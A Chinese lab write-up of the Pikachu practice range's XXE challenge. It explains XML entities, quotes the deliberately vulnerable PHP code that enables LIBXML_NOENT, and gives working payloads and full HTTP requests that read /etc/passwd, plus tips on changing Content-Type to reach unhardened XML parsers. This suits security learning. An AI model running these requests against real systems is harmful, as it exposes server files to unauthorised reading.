皮卡丘靶场解题记录-XXE

1、漏洞原理总结:

xml:类似html,用成对的标签把数据包起来,用于结构化地存储数据。

1
2
3
4
<人>
<姓名>张三</姓名>
<年龄>20</年龄>
</人>

DTD:xml顶部的声明区,类似于术语说明,约定好什么符号代表什么。

实体(ENTITY):xml里面的变量。在DTD里声明,然后在正文里用 &名字; 引用,解析器会自动把 &名字; 替换成它代表的内容。类似于开头写A=xxxxxxx,后面全文写A,然后解析器会自动把A替换成xxxxxxx。

内外实体的区别:

类型 值从哪来 写法
内部实体 写死在 DTD 里 <!ENTITY hacker "ESHLkangi">
外部实体 值去读外部文件/URL <!ENTITY f SYSTEM "file:///etc/passwd">

SYSTEM 这个词 = “值不是写死的,去系统里取”。

比如,把payload写成内部实体,就会得到原样返回。这里就是把ESHLkangi定义成立hacker

1
2
3
4
5
<?xml version = "1.0"?>
<!DOCTYPE note [
<!ENTITY hacker "ESHLkangi">
]>
<name>&hacker;</name>
image-20260902223823309

2、我的测试过程:

image-20260902221214874

3、核心漏洞代码分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
//考虑到目前很多版本里面libxml的版本都>=2.9.0了,所以这里添加了LIBXML_NOENT参数开启了外部实体解析
if(isset($_POST['submit']) and $_POST['xml'] != null){


$xml =$_POST['xml'];
// $xml = $test;
$data = @simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);
if($data){
$html.="<pre>{$data}</pre>";
}else{
$html.="<p>XML声明、DTD文档类型定义、文档元素这些都搞懂了吗?</p>";
}
}

靶场代码如上:

现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。以PHP为例,在PHP里面解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的。靶场里为了模拟漏洞,通过手动指定LIBXML_NOENT选项开启了xml外部实体解析。

本次使用的payload:

1
2
3
4
5
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>

正常解析器会拒绝读外部文件(防 XXE),但这个靶场用 LIBXML_NOENT 把它”放开”了,所以 file:///etc/passwd 被真的读出来。

4、实战延伸:

image-20260902224016703

很多功能看着不收 XML,但换个 Content-Type 头就能让它收 XML,而且那套 XML 解析代码可能从没被加固过——POST 的时候把 body 写成 XML、把 Content-Type: application/xml,看它解不解。

默认拒绝只保护了新版 PHP 一小片,Java/.NET/老系统/Office/SAML/回调等大量场景的 XML 解析器默认就能读外部文件;XXE 在实战并不少见——重点盯 SOAP、回调、文件上传、以及换 Content-Type 就能收 XML的接口

实际运用xxe的时候有两种姿势,姿势A是类似本题的,在参数里面塞xml;姿势B是整个body是xml(改 Content-Type 为 application/xml 强行切过去)。

姿势A:

后端代码有 $xml = $_POST['xml'] 这种写法——某个参数本身就是要收 XML 字符串。

1
2
3
4
5
6
POST /pikachu/vul/xxe/xxe_1.php HTTP/1.1
Host: 101.43.30.86
Authorization: Basic bulabula
Content-Type: application/x-www-form-urlencoded

xml=%3C%3Fxml+version%3D%221.0%22%3F%3E%3C%21DOCTYPE+ANY+%5B%3C%21ENTITY+f+SYSTEM+%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E%5D%3E%3Cx%3E%26f%3B%3C%2Fx%3E&submit=1

xml=后面的一大坨是url编码的完整payload,注意书写的时候payload的原文要正确。

姿势B:

这里给到一个情景:假设目标是 POST /api/search,前端正常发 JSON 搜索。后端有段没加固的代码,能解析 XML(比如用 simplexml_load_string(file_get_contents(‘php://input’)))。

正常的请求:

1
2
3
4
5
POST /api/search HTTP/1.1                ← ①
Host: target.com ← ②
Content-Type: application/json ← ③ 关键1

{"keyword":"iphone"} ← ④ 关键2

攻击者的请求:换 Content-Type、换 body

1
2
3
4
5
6
7
8
9
POST /api/search HTTP/1.1                ← ① 不动
Host: target.com ← ② 不动
Content-Type: application/xml ← ③ 改了!

<?xml version="1.0"?> ← ④ 整个 body 换成 XML
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>

其实就是利用有的老接口,同时注册了 JSON 和 XML 两套解析器,走json解析尝试用json注入可能没有漏洞,但是xml这个解析器可能从来没有人测过、可能完全没加固。